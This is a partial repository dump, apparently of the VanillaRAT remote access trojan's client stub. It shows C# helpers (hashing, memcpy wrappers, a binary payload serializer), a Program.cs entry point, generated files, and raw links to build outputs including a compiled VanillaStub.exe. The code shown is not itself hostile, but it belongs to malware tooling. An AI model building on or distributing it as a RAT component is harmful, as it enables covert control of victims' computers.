/VanillaStub/Helpers/Services/StreamLibrary/src/MurmurHash2Unsafe.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.StreamLibrary.src
2 | {
3 | public unsafe class MurmurHash2Unsafe
4 | {
5 | private const uint m = 0x5bd1e995;
6 | private const int r = 24;
7 |
8 | public uint Hash(byte* data, int length)
9 | {
10 | if (length == 0)
11 | return 0;
12 | uint h = 0xc58f1a7b ^ (uint) length;
13 | int remainingBytes = length & 3; // mod 4
14 | int numberOfLoops = length >> 2; // div 4
15 | uint* realData = (uint*) data;
16 | while (numberOfLoops != 0)
17 | {
18 | uint k = *realData;
19 | k *= m;
20 | k ^= k >> r;
21 | k *= m;
22 |
23 | h *= m;
24 | h ^= k;
25 | numberOfLoops--;
26 | realData++;
27 | }
28 |
29 | switch (remainingBytes)
30 | {
31 | case 3:
32 | h ^= (ushort) *realData;
33 | h ^= (uint) *((byte*) realData + 2) << 16;
34 | h *= m;
35 | break;
36 |
37 | case 2:
38 | h ^= (ushort) *realData;
39 | h *= m;
40 | break;
41 |
42 | case 1:
43 | h ^= *((byte*) realData);
44 | h *= m;
45 | break;
46 | }
47 |
48 | // Do a few final mixes of the hash to ensure the last few
49 | // bytes are well-incorporated.
50 |
51 | h ^= h >> 13;
52 | h *= m;
53 | h ^= h >> 15;
54 |
55 | return h;
56 | }
57 | }
58 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/src/NativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace VanillaStub.Helpers.Services.StreamLibrary.src
5 | {
6 | public class NativeMethods
7 | {
8 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
9 | public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
10 |
11 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
12 | public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
13 |
14 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
15 | public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
16 |
17 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
18 | public static extern unsafe int memcpy(void* dst, void* src, uint count);
19 | }
20 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/src/PayloadWriter.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Text;
4 |
5 | namespace VanillaStub.Helpers.Services.StreamLibrary.src
6 | {
7 | public class PayloadWriter : IDisposable
8 | {
9 | public PayloadWriter()
10 | {
11 | vStream = new MemoryStream();
12 | }
13 |
14 | public PayloadWriter(Stream stream)
15 | {
16 | vStream = stream;
17 | }
18 |
19 | public Stream vStream { get; set; }
20 |
21 | public int Length => (int) vStream.Length;
22 |
23 | public void Dispose()
24 | {
25 | vStream.Close();
26 | vStream.Dispose();
27 | vStream = null;
28 | }
29 |
30 | public void WriteBytes(byte[] value)
31 | {
32 | vStream.Write(value, 0, value.Length);
33 | }
34 |
35 | public void WriteBytes(byte[] value, int Offset, int Length)
36 | {
37 | vStream.Write(value, Offset, Length);
38 | }
39 |
40 | public void WriteInteger(int value)
41 | {
42 | WriteBytes(BitConverter.GetBytes(value));
43 | }
44 |
45 | ///
46 | /// A integer with 3 bytes not 4
47 | ///
48 | public void WriteThreeByteInteger(int value)
49 | {
50 | WriteByte((byte) value);
51 | WriteByte((byte) (value >> 8));
52 | WriteByte((byte) (value >> 16));
53 | }
54 |
55 | public void WriteUInteger(uint value)
56 | {
57 | WriteBytes(BitConverter.GetBytes(value));
58 | }
59 |
60 | public void WriteShort(short value)
61 | {
62 | WriteBytes(BitConverter.GetBytes(value));
63 | }
64 |
65 | public void WriteUShort(ushort value)
66 | {
67 | WriteBytes(BitConverter.GetBytes(value));
68 | }
69 |
70 | public void WriteULong(ulong value)
71 | {
72 | WriteBytes(BitConverter.GetBytes(value));
73 | }
74 |
75 | public void WriteByte(byte value)
76 | {
77 | vStream.WriteByte(value);
78 | }
79 |
80 | public void WriteBool(bool value)
81 | {
82 | WriteByte(value ? (byte) 1 : (byte) 0);
83 | }
84 |
85 | public void WriteDouble(double value)
86 | {
87 | WriteBytes(BitConverter.GetBytes(value));
88 | }
89 |
90 | public void WriteLong(long value)
91 | {
92 | WriteBytes(BitConverter.GetBytes(value));
93 | }
94 |
95 | public void WriteFloat(float value)
96 | {
97 | WriteBytes(BitConverter.GetBytes(value));
98 | }
99 |
100 | public void WriteDecimal(decimal value)
101 | {
102 | BinaryWriter writer = new BinaryWriter(vStream);
103 | writer.Write(value);
104 | }
105 |
106 | public void WriteString(string value)
107 | {
108 | if (!(value == null))
109 | WriteBytes(Encoding.Unicode.GetBytes(value));
110 | else
111 | throw new NullReferenceException("value");
112 | vStream.WriteByte(0);
113 | vStream.WriteByte(0);
114 | }
115 | }
116 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/src/PointerHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace VanillaStub.Helpers.Services.StreamLibrary.src
4 | {
5 | ///
6 | /// A helper class for pointers
7 | ///
8 | public class PointerHelper
9 | {
10 | private int _offset;
11 |
12 | public PointerHelper(IntPtr pointer, int Length)
13 | {
14 | TotalLength = Length;
15 | Pointer = pointer;
16 | }
17 |
18 | public IntPtr Pointer { get; }
19 |
20 | public int TotalLength { get; }
21 |
22 | public int Offset
23 | {
24 | get => _offset;
25 | set
26 | {
27 | if (value < 0)
28 | throw new Exception("Offset must be >= 1");
29 |
30 | if (value >= TotalLength)
31 | throw new Exception("Offset cannot go outside of the reserved buffer space");
32 |
33 | _offset = value;
34 | }
35 | }
36 |
37 | ///
38 | /// Copies data from Source to the current Pointer Offset
39 | ///
40 | public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
41 | {
42 | if (CheckBoundries(Offset, SourceLength))
43 | throw new AccessViolationException("Cannot write outside of the buffer space");
44 | NativeMethods.memcpy(new IntPtr(Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset),
45 | (uint) SourceLength);
46 | }
47 |
48 | private bool CheckBoundries(int offset, int length)
49 | {
50 | return offset + length > TotalLength;
51 | }
52 | }
53 | }
--------------------------------------------------------------------------------
/VanillaStub/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Windows.Forms;
3 | using VanillaStub.Forms;
4 |
5 | namespace VanillaStub
6 | {
7 | internal static class Program
8 | {
9 | ///
10 | /// The main entry point for the application.
11 | ///
12 | [STAThread]
13 | private static void Main()
14 | {
15 | Application.EnableVisualStyles();
16 | Application.SetCompatibleTextRenderingDefault(false);
17 | Application.Run(new InitialForm());
18 | }
19 | }
20 | }
--------------------------------------------------------------------------------
/VanillaStub/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // General Information about an assembly is controlled through the following
5 | // set of attributes. Change these attribute values to modify the information
6 | // associated with an assembly.
7 | [assembly: AssemblyTitle("VanillaStub")]
8 | [assembly: AssemblyDescription("")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("")]
11 | [assembly: AssemblyProduct("VanillaStub")]
12 | [assembly: AssemblyCopyright("Copyright © 2019")]
13 | [assembly: AssemblyTrademark("")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | // Setting ComVisible to false makes the types in this assembly not visible
17 | // to COM components. If you need to access a type in this assembly from
18 | // COM, set the ComVisible attribute to true on that type.
19 | [assembly: ComVisible(false)]
20 |
21 | // The following GUID is for the ID of the typelib if this project is exposed to COM
22 | [assembly: Guid("a593fcd2-c8ab-45f6-9aeb-8ab5e20ab402")]
23 |
24 | // Version information for an assembly consists of the following four values:
25 | //
26 | // Major Version
27 | // Minor Version
28 | // Build Number
29 | // Revision
30 | //
31 | // You can specify all the values or you can default the Build and Revision Numbers
32 | // by using the '*' as shown below:
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.0.0.0")]
35 | [assembly: AssemblyFileVersion("1.0.0.0")]
--------------------------------------------------------------------------------
/VanillaStub/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace VanillaStub.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("VanillaStub.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | ///
64 | /// Looks up a localized resource of type System.Drawing.Bitmap.
65 | ///
66 | internal static System.Drawing.Bitmap alert_logo_png_2 {
67 | get {
68 | object obj = ResourceManager.GetObject("alert-logo-png-2", resourceCulture);
69 | return ((System.Drawing.Bitmap)(obj));
70 | }
71 | }
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/VanillaStub/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace VanillaStub.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/VanillaStub/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/VanillaStub/VanillaStub.csproj.DotSettings:
--------------------------------------------------------------------------------
1 |
2 | True
--------------------------------------------------------------------------------
/VanillaStub/VanillaStub.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 |
13 |
--------------------------------------------------------------------------------
/VanillaStub/alert-logo-png-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/alert-logo-png-2.png
--------------------------------------------------------------------------------
/VanillaStub/bin/Debug/VanillaStub.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/bin/Debug/VanillaStub.exe
--------------------------------------------------------------------------------
/VanillaStub/bin/Debug/VanillaStub.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/VanillaStub/bin/Debug/VanillaStub.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/bin/Debug/VanillaStub.pdb
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.Forms.Chat.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Forms.Chat.resources
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.Forms.InitialForm.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Forms.InitialForm.resources
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.Forms.ScreenLock.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Forms.ScreenLock.resources
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Properties.Resources.resources
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 9c77358b2853ae32151fcd1206caba5afcd64900
2 |
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\bin\Debug\VanillaStub.exe.config
2 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\bin\Debug\VanillaStub.exe
3 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\bin\Debug\VanillaStub.pdb
4 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Forms.Chat.resources
5 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Forms.InitialForm.resources
6 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Forms.ScreenLock.resources
7 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Properties.Resources.resources
8 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.csproj.GenerateResource.cache
9 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.csproj.CoreCompileInputs.cache
10 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.exe
11 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.pdb
12 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.csprojAssemblyReference.cache
13 |
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.csproj.GenerateResource.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.csproj.GenerateResource.cache
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.exe
--------------------------------------------------------------------------------
/VanillaStub/obj/Debug/VanillaStub.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.pdb
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/.signature.p7s
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/Costura.Fody.3.3.2.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/Costura.Fody.3.3.2.nupkg
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/build/Costura.Fody.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | netclassicweaver
5 | netstandardweaver
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/lib/net40/Costura.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/lib/net40/Costura.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/lib/net40/Costura.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Costura
5 |
6 |
7 |
8 |
9 | Contains methods for interacting with the Costura system.
10 |
11 |
12 |
13 |
14 | Call this to Initialize the Costura system.
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.pdb
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/.signature.p7s
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/Fody.3.3.5.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/Fody.3.3.5.nupkg
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Fody.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/FodyCommon.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/FodyCommon.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/FodyHelpers.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/FodyHelpers.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/FodyIsolated.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/FodyIsolated.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netclassictask/Mono.Cecil.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Fody.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/FodyCommon.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/FodyCommon.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/FodyHelpers.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/FodyHelpers.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/FodyIsolated.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/FodyIsolated.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.pdb
--------------------------------------------------------------------------------
/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.dll
--------------------------------------------------------------------------------
